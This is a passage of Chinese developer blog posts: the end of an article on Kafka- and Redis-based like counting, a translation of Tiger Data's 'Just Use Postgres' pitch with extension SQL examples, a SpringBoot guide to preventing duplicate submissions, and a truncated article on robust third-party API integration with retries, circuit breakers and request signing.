- 同步时要注意幂等性:比如用户先赞后取消,最终状态是未赞,避免重复计算导致赞数错误。
批量同步,攒一批数据(比如 1 万条)再批量更新,大大减少数据库的写入压力。
而且定时任务可以根据业务调整频率,比如高峰期每 1 分钟同步一次,低峰期每 10 分钟同步一次,灵活适配流量。
方案优势
这套方案没有复杂的架构,但的确能解决百万级点赞的高并发问题,核心优势在于几种中间件的组合使用:
- 高可用:Kafka 保证消息不丢失,Redis 保证查询不卡顿,就算数据库暂时挂了,用户点赞和查赞数都不受影响;
- 易扩展:如果后续点赞量涨到千万级,只需要增加 Kafka 的分区数、Redis 的集群节点,就能轻松扛住;
- 低成本:不用复杂的分布式事务,不用实时计算框架,用最基础的中间件就能实现,开发和维护成本都低。
写在最后
其实很多高并发场景,比如点赞、评论、秒杀,核心思路都是异步解耦 + 缓存兜底。
面试官考察的不是你知道多少冷门技术,而是你能不能看透问题本质,用户要的是 体验 和 成功,不是 实时准确。
不过,这套方案看似简单,但覆盖了 “削峰、缓存、异步、最终一致性” 等核心考点,面试时把这个逻辑讲清楚,再结合 Kafka 的消息可靠性、Redis 的高性能、定时任务的批量处理,面试官起码会觉得你 懂行。
如果实际业务中,赞数延迟要求极高(比如直播场景,需要实时显示赞数),也可以把定时同步改成 Kafka 消费后实时更新 Redis,数据库异步同步,本质还是换汤不换药~
来源:juejin.cn/post/7576273949186932778
翻译:2026年了,直接用 PostgreSQL 吧
翻译:2026年了,直接用 PostgreSQL 吧
以下是 It’s 2026, Just Use Postgres | Tiger Data 的中文翻译
把你的数据库想象成你的家。家里有客厅、卧室、浴室、厨房和车库,每个房间用途不同,但都在同一屋檐下,由走廊和门相连。你不会因为需要做饭就单独盖一栋餐厅大楼,也不会为了停车而在城外另建一座商业车库。
PostgreSQL 就是这样的“家”——一个屋檐下容纳多个功能房间:搜索、向量、时序数据、队列……全部一体化。
而这恰恰是那些专用数据库厂商不愿让你知道的真相。他们的营销团队花了数年时间说服你“为不同任务选用合适的工具”。听起来很合理,很睿智,也确实卖出了大量数据库。
让我告诉你为什么这是个陷阱,以及为什么在 99% 的场景下,PostgreSQL 才是更优解。
“选用合适工具”的陷阱
你一定听过这样的建议:“为不同任务选用合适的工具。”
听起来很睿智。于是你最终拥有了:
- Elasticsearch 用于搜索
- Pinecone 用于向量检索
- Redis 用于缓存
- MongoDB 用于文档存储
- Kafka 用于消息队列
- InfluxDB 用于时序数据
- PostgreSQL 用于……剩下的杂项
恭喜你,现在你需要管理七个数据库。学习七种查询语言,维护七套备份策略,审计七种安全模型,轮换六组凭证,监控七个仪表盘,以及应对七个可能在凌晨三点崩溃的系统。
而当系统真的崩溃时?祝你好运——你得搭建一个包含全部七种数据库的测试环境来调试问题。
换个思路:直接用 PostgreSQL 吧。
为什么现在尤其重要:AI 时代
这不只是关于简化架构。AI 智能体已让数据库碎片化成为一场噩梦。
想想智能体需要做什么:
- 快速用生产数据搭建测试数据库
- 尝试修复或实验
- 验证效果
- 销毁环境
使用单一数据库?一条命令即可:Fork、测试、完成。
使用七个数据库?你需要:
- 协调 PostgreSQL、Elasticsearch、Pinecone、Redis、MongoDB 和 Kafka 的快照
- 确保所有数据处于同一时间点
- 启动七种不同服务
- 配置七组连接字符串
- 祈祷测试过程中数据不发生漂移
- 测试结束后销毁七种服务
没有大量研发投入,这几乎不可能实现。
这还不只是智能体的问题。每次凌晨三点系统崩溃,你都需要搭建测试环境调试。六个数据库意味着协调噩梦;一个数据库,只需一条命令。
在 AI 时代,简洁不只是优雅,更是必需。
“但专用数据库性能更好啊!”
我们直面这个问题。
迷思:专用数据库在其特定任务上远超通用方案。
现实:它们可能在狭窄场景下略占优势,但同时引入了不必要的复杂性。这就像为每顿饭都雇佣一位私人厨师——听起来奢华,实则增加成本、协调开销,并制造了本不存在的问题。
关键在于:99% 的公司根本不需要它们。那 1% 的顶级公司拥有数千万用户和与之匹配的庞大工程团队。你读过他们吹捧“专用数据库 X 如何惊艳”的博客,但那是他们的规模、他们的团队、他们的问题。对其他人而言,PostgreSQL 完全够用。
大多数人没意识到的是:PostgreSQL 扩展使用的算法与专用数据库相同甚至更优(很多情况下确实如此)。
所谓“专用数据库溢价”?大多是营销话术。
| 你的需求 | 专用工具 | PostgreSQL 扩展 | 算法是否相同? |
|---|---|---|---|
| 全文搜索 | Elasticsearch | pg_textsearch | ✅ 均使用 BM25 |
| 向量检索 | Pinecone | pgvector + pgvectorscale | ✅ 均使用 HNSW/DiskANN |
| 时序数据 | InfluxDB | TimescaleDB | ✅ 均使用时间分区 |
| 缓存 | Redis | UNLOGGED 表 | ✅ 均使用内存存储 |
| 文档 | MongoDB | JSONB | ✅ 均使用文档索引 |
| 地理空间 | 专用 GIS | PostGIS | ✅ 自 2001 年起的行业标准 |
这些不是缩水版实现,而是相同/更优的算法,经过实战检验、开源,并常由相同研究者开发。
基准测试也证实了这一点:
- pgvectorscale:延迟比 Pinecone 低 28 倍,成本降低 75%
- TimescaleDB:性能媲美或超越 InfluxDB,同时提供完整 SQL 支持
- pg_textsearch:与 Elasticsearch 相同的 BM25 排序算法
隐性成本不断累积
除 AI/智能体问题外,数据库碎片化还带来复合成本:
| 任务 | 单一数据库 | 七个数据库 |
|---|---|---|
| 备份策略 | 1 套 | 7 套 |
| 监控仪表盘 | 1 个 | 7 个 |
| 安全补丁 | 1 次 | 7 次 |
| 值班手册 | 1 份 | 7 份 |
| 故障转移测试 | 1 次 | 7 次 |
认知负荷:团队需掌握 SQL、Redis 命令、Elasticsearch Query DSL、MongoDB 聚合、Kafka 模式、InfluxDB 的非原生 SQL 变通方案。这不是专业化,这是碎片化。
数据一致性:保持 Elasticsearch 与 PostgreSQL 同步?你需要构建同步作业。它们会失败,数据会漂移,你得添加对账逻辑。对账也会失败。最终你维护的是基础设施,而非产品功能。
SLA 数学:三个系统各自 99.9% 可用性 = 整体 99.7%。这意味着每年26 小时停机时间,而非 8.7 小时。每个系统都在成倍增加故障模式。
现代 PostgreSQL 技术栈
这些扩展并非新生事物,它们已生产就绪多年:
- PostGIS:自 2001 年(24 年),支撑 OpenStreetMap 和 Uber
- 全文搜索:自 2008 年(17 年),内置于 PostgreSQL 核心
- JSONB:自 2014 年(11 年),性能媲美 MongoDB 且支持 ACID
- TimescaleDB:自 2017 年(8 年),GitHub 超 2.1 万星
- pgvector:自 2021 年(4 年),GitHub 超 1.9 万星
超过 48,000 家公司使用 PostgreSQL,包括 Netflix、Spotify、Uber、Reddit、Instagram 和 Discord。
AI 时代的新一代扩展
| 扩展 | 替代方案 | 亮点 |
|---|---|---|
| pgvectorscale | Pinecone, Qdrant | DiskANN 算法,延迟降低 28 倍,成本降低 75% |
| pg_textsearch | Elasticsearch | 原生支持 BM25 排序 |
| pgai | 外部 AI 流水线 | 数据变更时自动同步嵌入向量 |
这意味着什么:过去构建 RAG 应用需要 PostgreSQL + Pinecone + Elasticsearch + 胶水代码。
现在?只需 PostgreSQL。一个数据库,一种查询语言,一套备份方案,一条 Fork 命令即可让 AI 智能体搭建测试环境。
快速上手:启用这些扩展
只需执行以下命令:
-- 全文搜索(BM25)
CREATE EXTENSION pg_textsearch;
-- 向量检索(AI 场景)
CREATE EXTENSION vector;
CREATE EXTENSION vectorscale;
-- AI 嵌入与 RAG 工作流
CREATE EXTENSION ai;
-- 时序数据
CREATE EXTENSION timescaledb;
-- 消息队列
CREATE EXTENSION pgmq;
-- 定时任务
CREATE EXTENSION pg_cron;
-- 地理空间
CREATE EXTENSION postgis;
就是这么简单。
代码示例
以下是各场景的可运行示例,按需查阅。
全文搜索(替代 Elasticsearch)
扩展:pg_textsearch(真正的 BM25 排序)
替代对象:
- Elasticsearch:独立 JVM 集群、复杂映射、同步流水线、Java 堆调优
- Solr:类似问题,仅包装不同
- Algolia:$1/1000 次搜索,依赖外部 API
你将获得:与 Elasticsearch 完全相同的 BM25 算法,直接内置于 PostgreSQL。
-- 创建表
CREATE TABLE articles (
id SERIAL PRIMARY KEY,
title TEXT,
content TEXT
);
-- 创建 BM25 索引
CREATE INDEX idx_articles_bm25 ON articles USING bm25(content)
WITH (text_config = 'english');
-- 基于 BM25 评分搜索
SELECT title, -(content <@> 'database optimization') as score
FROM articles
ORDER BY content <@> 'database optimization'
LIMIT 10;
混合搜索:BM25 + 向量一体化查询
SELECT
title,
-(content <@> 'database optimization') as bm25_score,
embedding <=> query_embedding as vector_distance,
0.7 * (-(content <@> 'database optimization')) +
0.3 * (1 - (embedding <=> query_embedding)) as hybrid_score
FROM articles
ORDER BY hybrid_score DESC
LIMIT 10;
Elasticsearch 需要额外插件才能实现的功能,在 PostgreSQL 中只需一条 SQL。
向量检索(替代 Pinecone)
扩展:pgvector + pgvectorscale
替代对象:
- Pinecone:$70/月起步,独立基础设施,数据同步头痛
- Qdrant, Milvus, Weaviate:更多需管理的基础设施
你将获得:pgvectorscale 采用微软研究院的 DiskANN 算法,在 99% 召回率下实现延迟降低 28 倍、吞吐量提升 16 倍。
-- 启用扩展
CREATE EXTENSION vector;
CREATE EXTENSION vectorscale CASCADE;
-- 含嵌入向量的表
CREATE TABLE documents (
id SERIAL PRIMARY KEY,
content TEXT,
embedding vector(1536)
);
-- 高性能索引(DiskANN)
CREATE INDEX idx_docs_embedding ON documents USING diskann(embedding);
-- 查找相似文档
SELECT content, embedding <=> '[0.1, 0.2, ...]'::vector as distance
FROM documents
ORDER BY embedding <=> '[0.1, 0.2, ...]'::vector
LIMIT 10;
通过 pgai 自动同步嵌入向量:
SELECT ai.create_vectorizer(
'documents'::regclass,
loading => ai.loading_column(column_name=>'content'),
embedding => ai.embedding_openai(model=>'text-embedding-3-small', dimensions=>'1536')
);
现在每次 INSERT/UPDATE 都会自动重新生成嵌入向量。无需同步作业,无数据漂移,告别凌晨三点的告警电话。
时序数据(替代 InfluxDB)
扩展:TimescaleDB(GitHub 2.1 万+ 星)
替代对象:
- InfluxDB:独立数据库、Flux 查询语言或非原生 SQL
- Prometheus:适用于指标,不适用于应用数据
你将获得:自动时间分区、最高 90% 压缩率、连续聚合,完整 SQL 支持。
-- 启用 TimescaleDB
CREATE EXTENSION timescaledb;
-- 创建表
CREATE TABLE metrics (
time TIMESTAMPTZ NOT NULL,
device_id TEXT,
temperature DOUBLE PRECISION
);
-- 转换为超表
SELECT create_hypertable('metrics', 'time');
-- 按时间桶查询
SELECT time_bucket('1 hour', time) as hour,
AVG(temperature)
FROM metrics
WHERE time > NOW() - INTERVAL '24 hours'
GR0UP BY hour;
-- 自动删除旧数据
SELECT add_retention_policy('metrics', INTERVAL '30 days');
-- 压缩(存储减少 90%)
ALTER TABLE metrics SET (timescaledb.compress);
SELECT add_compression_policy('metrics', INTERVAL '7 days');
缓存(替代 Redis)
特性:UNLOGGED 表 + JSONB
-- UNLOGGED = 无 WAL 开销,写入更快
CREATE UNLOGGED TABLE cache (
key TEXT PRIMARY KEY,
value JSONB,
expires_at TIMESTAMPTZ
);
-- 设置带过期时间的缓存
INSERT INTO cache (key, value, expires_at)
VALUES ('user:123', '{"name": "Alice"}', NOW() + INTERVAL '1 hour')
ON CONFLICT (key) DO UPDATE SET value = EXCLUDED.value;
-- 读取
SELECT value FROM cache WHERE key = 'user:123' AND expires_at > NOW();
-- 清理(通过 pg_cron 定时)
DELETE FROM cache WHERE expires_at < NOW();
消息队列(替代 Kafka)
扩展:pgmq
CREATE EXTENSION pgmq;
SELECT pgmq.create('my_queue');
-- 发送消息
SELECT pgmq.send('my_queue', '{"event": "signup", "user_id": 123}');
-- 接收消息(带可见性超时)
SELECT * FROM pgmq.read('my_queue', 30, 5);
-- 处理完成后删除
SELECT pgmq.delete('my_queue', msg_id);
或使用原生 SKIP LOCKED 模式:
CREATE TABLE jobs (
id SERIAL PRIMARY KEY,
payload JSONB,
status TEXT DEFAULT 'pending'
);
-- Worker 原子性认领任务
UPDATE jobs SET status = 'processing'
WHERE id = (
SELECT id FROM jobs WHERE status = 'pending'
FOR UPDATE SKIP LOCKED LIMIT 1
) RETURNING *;
文档存储(替代 MongoDB)
特性:原生 JSONB
CREATE TABLE users (
id SERIAL PRIMARY KEY,
data JSONB
);
-- 插入嵌套文档
INSERT INTO users (data) VALUES ('{
"name": "Alice",
"profile": {"bio": "Developer", "links": ["github.com/alice"]}
}');
-- 查询嵌套字段
SELECT data->>'name', data->'profile'->>'bio'
FROM users
WHERE data->'profile'->>'bio' LIKE '%Developer%';
-- 为 JSON 字段创建索引
CREATE INDEX idx_users_email ON users ((data->>'email'));
地理空间(替代专用 GIS)
扩展:PostGIS
CREATE EXTENSION postgis;
CREATE TABLE stores (
id SERIAL PRIMARY KEY,
name TEXT,
location GEOGRAPHY(POINT, 4326)
);
-- 查找 5 公里内的门店
SELECT name, ST_Distance(location, ST_MakePoint(-122.4, 37.78)::geography) as meters
FROM stores
WHERE ST_DWithin(location, ST_MakePoint(-122.4, 37.78)::geography, 5000);
定时任务(替代 Cron)
扩展:pg_cron
CREATE EXTENSION pg_cron;
-- 每小时执行
SELECT cron.schedule('cleanup', '0 * * * *',
$$DELETE FROM cache WHERE expires_at < NOW()$$);
-- 每日凌晨 2 点汇总
SELECT cron.schedule('rollup', '0 2 * * *',
$$REFRESH MATERIALIZED VIEW CONCURRENTLY daily_stats$$);
核心结论
回到“家”的比喻:你不会为做晚饭单独盖餐厅,也不会为停车在城外建车库。你会使用家中已有的房间。
这正是我们在此展示的:搜索、向量、时序、文档、队列、缓存……它们都是 PostgreSQL 这座“家”中的不同房间。使用与专用数据库相同的算法,历经多年实战检验,被 Netflix、Uber、Discord 及 48,000 多家公司采用。
那么那 1% 的例外呢?
99% 的公司,PostgreSQL 足以应对所有需求。那 1%?当你需要跨数百节点处理 PB 级日志,或必须使用 Kibana 特定仪表盘,或拥有 PostgreSQL 确实无法满足的特殊需求时。
但关键在于:当你属于那 1% 时,你自己会知道。你不需要厂商营销团队告诉你,你会通过基准测试亲自撞上真正的性能墙。
在此之前,不要因为“为不同任务选用合适工具”这句话,就把数据分散到七栋大楼中。那句建议卖出了数据库,却没为你服务。
从 PostgreSQL 开始,坚持使用 PostgreSQL。仅在真正需要时才增加复杂性。
2026 年了,直接用 PostgreSQL 吧。
立即开始
所有这些扩展在 Tiger Data 上均可使用。几分钟内创建免费数据库:
psql "postgresql://user:pass@your-instance.tsdb.cloud.timescale.com:5432/tsdb"
CREATE EXTENSION pg_textsearch; -- BM25 搜索
CREATE EXTENSION vector; -- 向量检索
无需专用数据库,只需 PostgreSQL。
延伸阅读
来源:juejin.cn/post/7605985547578195974
SpringBoot接口防抖大作战,拒绝“手抖”重复提交!
大家好,我是小悟。
一、什么是接口防抖?(又名:救救那个手抖的程序员)
想象一下这个场景:用户小张在提交订单时,因为网络延迟,他以为没点中那个“提交”按钮,于是疯狂连击了10次!结果...10个一模一样的订单诞生了!
接口防抖 就像是给按钮加上了一层“冷静期”——“兄弟,你点太快了,先冷静3秒再说!”
防止重复提交 则是更严格的保安大哥——“同样的身-份-证(请求)只能进一次,想蒙混过关?没门!”
下面我来教你在SpringBoot中布下天罗地网,拦截这些“手抖攻击”!
二、实战方案大集合
方案1:前端防抖 + 后端令牌锁(双保险)
前端防抖代码(JavaScript版):
// 给按钮加个“冷静debuff”
let isSubmitting = false;
function submitOrder() {
if (isSubmitting) {
alert("客官您点得太快了,喝口茶歇歇~");
return;
}
isSubmitting = true;
// 提交请求...
// 3秒后才能再次点击
setTimeout(() => {
isSubmitting = false;
}, 3000);
}
后端令牌锁实现:
步骤1:创建防抖注解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface PreventDuplicateSubmit {
/**
* 防抖时间(秒),默认3秒
*/
int lockTime() default 3;
/**
* 锁的key,支持SpEL表达式
*/
String key() default "";
/**
* 提示信息
*/
String message() default "请勿重复提交";
}
步骤2:实现AOP切面
@Aspect
@Component
@Slf4j
public class DuplicateSubmitAspect {
@Autowired
private RedisTemplate<String, Object> redisTemplate;
@Autowired
private HttpServletRequest request;
@Pointcut("@annotation(preventDuplicateSubmit)")
public void pointcut(PreventDuplicateSubmit preventDuplicateSubmit) {
}
@Around("pointcut(preventDuplicateSubmit)")
public Object around(ProceedingJoinPoint joinPoint,
PreventDuplicateSubmit preventDuplicateSubmit) throws Throwable {
// 1. 构造锁的key
String lockKey = buildLockKey(joinPoint, preventDuplicateSubmit);
// 2. 尝试加锁(setnx操作)
Boolean success = redisTemplate.opsForValue()
.setIfAbsent(lockKey, "LOCKED",
preventDuplicateSubmit.lockTime(), TimeUnit.SECONDS);
if (Boolean.TRUE.equals(success)) {
// 加锁成功,执行方法
try {
return joinPoint.proceed();
} finally {
// 可以根据业务决定是否立即删除锁
// redisTemplate.delete(lockKey);
}
} else {
// 加锁失败,说明重复提交了
throw new RuntimeException(preventDuplicateSubmit.message());
}
}
private String buildLockKey(ProceedingJoinPoint joinPoint,
PreventDuplicateSubmit annotation) {
StringBuilder keyBuilder = new StringBuilder("SUBMIT:LOCK:");
// 如果有自定义key
if (StringUtils.isNotBlank(annotation.key())) {
keyBuilder.append(parseKey(joinPoint, annotation.key()));
} else {
// 默认使用:方法名 + 用户ID + 参数hash
keyBuilder.append(joinPoint.getSignature().toShortString());
// 加上用户ID(如果有登录)
String userId = getCurrentUserId();
if (userId != null) {
keyBuilder.append(":").append(userId);
}
// 加上参数摘要
Object[] args = joinPoint.getArgs();
if (args.length > 0) {
String argsHash = DigestUtils.md5DigestAsHex(
Arrays.deepToString(args).getBytes()
).substring(0, 8);
keyBuilder.append(":").append(argsHash);
}
}
return keyBuilder.toString();
}
private String getCurrentUserId() {
// 从Token或Session中获取用户ID
// 这里简化处理
return (String) request.getSession().getAttribute("userId");
}
}
步骤3:使用示例
@RestController
@RequestMapping("/order")
public class OrderController {
@PostMapping("/create")
@PreventDuplicateSubmit(lockTime = 5, message = "订单正在处理中,请勿重复提交")
public ApiResult createOrder(@RequestBody OrderDTO orderDTO) {
// 业务逻辑
orderService.create(orderDTO);
return ApiResult.success("下单成功");
}
@PostMapping("/pay")
@PreventDuplicateSubmit(
key = "'PAY:' + #orderNo + ':' + T(com.example.util.UserUtil).getCurrentUserId()",
lockTime = 10,
message = "支付请求已提交,请勿重复操作"
)
public ApiResult payOrder(String orderNo) {
// 支付逻辑
return ApiResult.success("支付成功");
}
}
方案2:数据库唯一约束(最硬核的方案)
有时候,最简单的最有效!
@Entity
@Table(name = "orders")
public class Order {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
// 业务唯一号:时间戳 + 用户ID + 随机数
@Column(name = "order_no", unique = true, nullable = false)
private String orderNo;
// 或者使用请求ID作为防重
@Column(name = "request_id", unique = true)
private String requestId;
// ...其他字段
}
@Service
@Slf4j
public class OrderService {
@Transactional(rollbackFor = Exception.class)
public void createOrder(OrderDTO dto) {
// 生成唯一请求ID(前端传递或后端生成)
String requestId = dto.getRequestId();
if (StringUtils.isBlank(requestId)) {
requestId = UUID.randomUUID().toString();
}
// 检查是否已处理过该请求
if (orderRepository.existsByRequestId(requestId)) {
log.warn("重复请求被拦截:{}", requestId);
throw new BusinessException("订单已提交,请勿重复操作");
}
// 创建订单
Order order = new Order();
order.setRequestId(requestId);
order.setOrderNo(generateOrderNo());
// ...设置其他字段
try {
orderRepository.save(order);
} catch (DataIntegrityViolationException e) {
// 捕获唯一约束异常
throw new BusinessException("订单已存在,请勿重复提交");
}
}
}
方案3:本地Guava缓存(轻量级方案)
适合单机部署,简单快捷!
@Component
public class LocalDuplicateChecker {
// Guava缓存,3秒自动过期
private final Cache<String, Boolean> submitCache = CacheBuilder.newBuilder()
.expireAfterWrite(3, TimeUnit.SECONDS)
.maximumSize(10000)
.build();
/**
* 检查是否重复提交
* @param key 请求唯一标识
* @return true=重复提交, false=首次提交
*/
public boolean isDuplicate(String key) {
try {
// 如果key不存在,则放入缓存并返回null
// 如果key存在,则返回缓存的值
return submitCache.get(key, () -> {
// 这个lambda只在key不存在时执行
return false;
});
} catch (ExecutionException e) {
return true;
}
}
/**
* 手动放入缓存(用于防止并发时多次通过检查)
*/
public void markAsSubmitted(String key) {
submitCache.put(key, true);
}
}
// 使用方式
@RestController
public class ApiController {
@Autowired
private LocalDuplicateChecker duplicateChecker;
@PostMapping("/api/submit")
public ApiResult submitData(@RequestBody SubmitData data,
HttpServletRequest request) {
// 构造唯一key:IP + 用户ID + 数据摘要
String clientIp = request.getRemoteAddr();
String userId = getCurrentUserId();
String dataHash = DigestUtils.md5DigestAsHex(
JSON.toJSONString(data).getBytes()
).substring(0, 8);
String lockKey = String.format("SUBMIT:%s:%s:%s",
clientIp, userId, dataHash);
if (duplicateChecker.isDuplicate(lockKey)) {
return ApiResult.error("请勿重复提交");
}
// 标记为已提交
duplicateChecker.markAsSubmitted(lockKey);
// 执行业务逻辑
return processData(data);
}
}
方案4:Token令牌机制(最经典的方案)
这个方案就像发门票,一张票只能进一个人!
步骤1:生成Token
@RestController
public class TokenController {
@GetMapping("/api/getToken")
public ApiResult getToken() {
String token = UUID.randomUUID().toString();
// 存入Redis,有效期5分钟
redisTemplate.opsForValue().set(
"SUBMIT_TOKEN:" + token,
"VALID",
5, TimeUnit.MINUTES
);
return ApiResult.success(token);
}
}
步骤2:验证Token
@Aspect
@Component
public class TokenCheckAspect {
@Pointcut("@annotation(needTokenCheck)")
public void pointcut(NeedTokenCheck needTokenCheck) {
}
@Around("pointcut(needTokenCheck)")
public Object checkToken(ProceedingJoinPoint joinPoint,
NeedTokenCheck needTokenCheck) throws Throwable {
HttpServletRequest request = ((ServletRequestAttributes)
RequestContextHolder.getRequestAttributes()).getRequest();
String token = request.getHeader("X-Submit-Token");
if (StringUtils.isBlank(token)) {
throw new RuntimeException("提交令牌缺失");
}
String redisKey = "SUBMIT_TOKEN:" + token;
String value = (String) redisTemplate.opsForValue().get(redisKey);
if (!"VALID".equals(value)) {
throw new RuntimeException("无效的提交令牌");
}
// 删除令牌(一次性使用)
redisTemplate.delete(redisKey);
return joinPoint.proceed();
}
}
步骤3:前端配合
// 提交前先获取令牌
async function submitWithToken(data) {
// 1. 获取令牌
const token = await fetch('/api/getToken').then(r => r.json());
// 2. 携带令牌提交
const result = await fetch('/api/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Submit-Token': token
},
body: JSON.stringify(data)
});
return result;
}
三、方案对比总结
| 方案 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| AOP + Redis锁 | 灵活可控,支持复杂规则 | 依赖Redis,增加系统复杂度 | 分布式系统,需要精细控制 |
| 数据库唯一约束 | 绝对可靠,永不漏网 | 对数据库有压力,需要设计唯一键 | 核心业务(如支付、订单) |
| 本地缓存 | 性能极高,零延迟 | 仅限单机,集群无效 | 单体应用,高频但非核心接口 |
| Token机制 | 安全性高,前端可控 | 需要两次请求,增加交互 | 表单提交,需要严格防重 |
四、防抖策略选择指南
- 根据业务重要性选择:
- 金融支付 → 数据库唯一约束 + Redis锁(双重保险)
- 普通表单 → Token机制或AOP锁
- 查询接口 → 本地缓存防抖
- 根据系统架构选择:
- 单机应用 → 本地缓存最香
- 分布式集群 → Redis是王道
- 微服务 → 考虑分布式锁服务
- 实用小贴士:
// 最佳实践:组合拳!
@PostMapping("/important/submit")
@PreventDuplicateSubmit(lockTime = 5)
@Transactional(rollbackFor = Exception.class)
public ApiResult importantSubmit(@RequestBody @Valid RequestDTO dto) {
// 1. 检查请求ID是否重复
checkRequestId(dto.getRequestId());
// 2. 执行业务
// 3. 数据库唯一约束兜底
return ApiResult.success();
}
五、最后
- 不要过度设计:简单的业务用简单的方案,杀鸡不要用牛刀
- 用户体验很重要:防抖提示要友好,别让用户一脸懵逼
- 监控不能少:记录被拦截的请求,分析用户行为
- 前端也要防:前后端双重防护才是王道
防抖的目的不是为难用户,而是保护系统和数据的安全。就像给你的接口穿上防弹衣,既能抵挡"手抖攻击",又能让正常请求畅通无阻!
程序员防抖口诀:
前端防抖先出手,后端加锁不能少。
令牌机制来帮忙,唯一约束最可靠。
根据场景选方案,系统稳定没烦恼。
用户手抖不可怕,我有妙招来护驾!

谢谢你看我的文章,既然看到这里了,如果觉得不错,随手点个赞、转发、在看三连吧,感谢感谢。那我们,下次再见。
您的一键三连,是我更新的最大动力,谢谢
山水有相逢,来日皆可期,谢谢阅读,我们再会
我手中的金箍棒,上能通天,下能探海
来源:juejin.cn/post/7586208617603661858
别再说“对接接口没技术含量了”,这才是高手的打开方式!
很多 Java 程序员一听到“对接第三方接口”,脑子里就自动响起一句话: “这不就是调个接口嘛,没技术含量。”
但真相是:你以为是体力活的地方,往往最能看出一个工程师的“技术深度”。
那些把接口对接写成“定时炸弹”的代码,和能扛住三年高并发零故障的实现,差的从来不是会不会发 HTTP 请求。
一、真正的高手,不是“调通接口”,而是“设计边界”
对接第三方接口,看似只是发个请求、拿个 JSON,但背后其实是——系统边界的协作与防御设计。
你面对的不是自己可控的代码,而是一个随时可能“变脸”的外部世界:
- 对方文档写着“此字段必传”,实际却返回 null
- 测试环境响应毫秒级,生产环境突然超时 30 秒
- 接口突然升级,字段名从 camelCase 改成 snake_case
- 流量峰值时,对方悄悄给你限流却不通知
所以高手不会只想着“调通”,而是从第一天就思考:
- 超时如何设置才不会拖垮自己的线程池?
- 对方返回非预期格式时,如何避免解析崩溃?
- 调用失败后,重试几次、间隔多久才合理?
- 敏感参数如何加密才能通过安全审计?
- 接口突然变慢时,如何第一时间收到告警?
这些问题,不是“Bug”,而是“工程意识”的试金石。能把混乱的接口接得稳定、可控、可追踪、可安全,这才是真正的技术能力。
二、“对接接口”也能写出架构感
普通开发者的代码,往往是这样的:
// 业务代码里突然冒出一段HTTP调用
RestTemplate restTemplate = new RestTemplate();
HttpHeaders headers = new HttpHeaders();
headers.set("appKey", "xxx");
headers.set("sign", "xxx");
HttpEntity<Map> entity = new HttpEntity<>(reqMap, headers);
ResponseEntity<String> res = restTemplate.postForEntity(
"https://xxx.com/api/pay", entity, String.class);
// 然后直接解析字符串...
而高手的代码,会先画一条清晰的边界:
// 1. 定义领域接口,屏蔽HTTP细节
public interface PaymentGatewayClient {
PaymentResponse pay(PaymentRequest request);
}
// 2. 实现类专注处理接口对接逻辑
@Service
public class AlipayGatewayClient implements PaymentGatewayClient {
@Override
public PaymentResponse pay(PaymentRequest request) {
// 封装:签名生成、参数转换、超时控制
// 集成:重试机制、日志埋点、异常转换
// 隔离:与业务逻辑彻底分离
}
}
业务层调用时,只需要关心业务语义,不关心HTTP细节。
这样做的好处立竿见影:
- • 换第三方支付时,只需新增实现类,业务代码零改动
- • 单元测试时,用 Mock 替代真实接口,测试速度提升 10 倍
- • 接口逻辑集中管理,不会散落在几百个业务方法里
当你能做到“接口逻辑不散落在业务代码里”,系统就已经迈入“架构级整洁”的门槛。
三、调通很容易,稳定才是实力
调通接口是初级开发者的 KPI。让接口一年 365 天稳稳跑着,那才是高级工程师的成就。
这些场景你一定踩过坑:
- • 对方接口“偶尔超时”,导致自己的系统线程池被占满
- • 并发一上来,就收到“Too Many Requests”限流提示
- • 响应 JSON 里突然多了个逗号,Jackson 解析直接抛异常
- • 异步回调乱序,先收到“支付成功”,再收到“支付中”
- • 敏感参数明文传输,被安全扫描揪出高危漏洞
- • 接口响应变慢,用户投诉后才发现
而高手的解决方案,藏在这些细节里:
1. 超时与重试:用“退避策略”减少无效请求
// 用 Resilience4j 实现指数退避重试
RetryConfig config = RetryConfig.custom()
.maxAttempts(3) // 最多重试3次
.waitDuration(Duration.ofMillis(1000)) // 首次间隔1秒
.retryExceptions(TimeoutException.class, IOException.class)
.ignoreExceptions(IllegalArgumentException.class) // 非法参数不重试
.build();
Retry retry = Retry.of("paymentApi", config);
// 包装调用逻辑
Supplier<PaymentResponse> retryableSupplier = Retry.decorateSupplier(
retry, () -> doCallPaymentApi(request)
);
2. 熔断降级:防止对方故障拖垮自己
// 当失败率超过50%,触发熔断
CircuitBreakerConfig config = CircuitBreakerConfig.custom()
.failureRateThreshold(50)
.waitDurationInOpenState(Duration.ofSeconds(60)) // 熔断60秒
.permittedNumberOfCallsInHalfOpenState(5) // 半开状态允许5次试探
.build();
CircuitBreaker circuitBreaker = CircuitBreaker.of("paymentApi", config);
// 降级逻辑:返回缓存数据或默认提示
Supplier<PaymentResponse> decoratedSupplier = CircuitBreaker
.decorateSupplier(circuitBreaker, () -> doCallPaymentApi(request))
.orElseGet(() -> buildFallbackResponse(request));
3. 日志追踪:用 TraceId 串联完整调用链
// 拦截器自动生成并传递TraceId
public class TraceIdInterceptor implements ClientHttpRequestInterceptor {
@Override
public ClientHttpResponse intercept(
HttpRequest request, byte[] body, ClientHttpRequestExecution execution) {
String traceId = MDC.get("traceId");
if (traceId == null) {
traceId = UUID.randomUUID().toString();
MDC.put("traceId", traceId);
}
request.getHeaders().add("X-Trace-Id", traceId);
return execution.execute(request, body);
}
}
// 日志格式包含TraceId,方便排查问题
// logback.xml 配置:%X{traceId} [%thread] %-5level %logger{36} - %msg%n
4. 安全签名:给数据加把“锁”
接口传输的敏感信息(如手机号、银彳亍卡号)必须经过双重防护:
// 1. 参数签名:防止数据被篡改
public class SignUtils {
public static String sign(Map<String, String> params, String secret) {
// 按参数名ASCII排序
List<String> keys = new ArrayList<>(params.keySet());
Collections.sort(keys);
// 拼接为key=value&key=value形式
StringBuilder sb = new StringBuilder();
for (String key : keys) {
sb.append(key).append("=").append(params.get(key)).append("&");
}
// 追加密钥后用SHA256加密
sb.append("secret=").append(secret);
return DigestUtils.sha256Hex(sb.toString());
}
}
// 2. 敏感字段加密:防止传输中泄露
public class EncryptUtils {
// 手机号加密示例(AES算法)
public static String encryptPhone(String phone, String aesKey) {
// 实际项目中建议使用密钥管理服务存储密钥
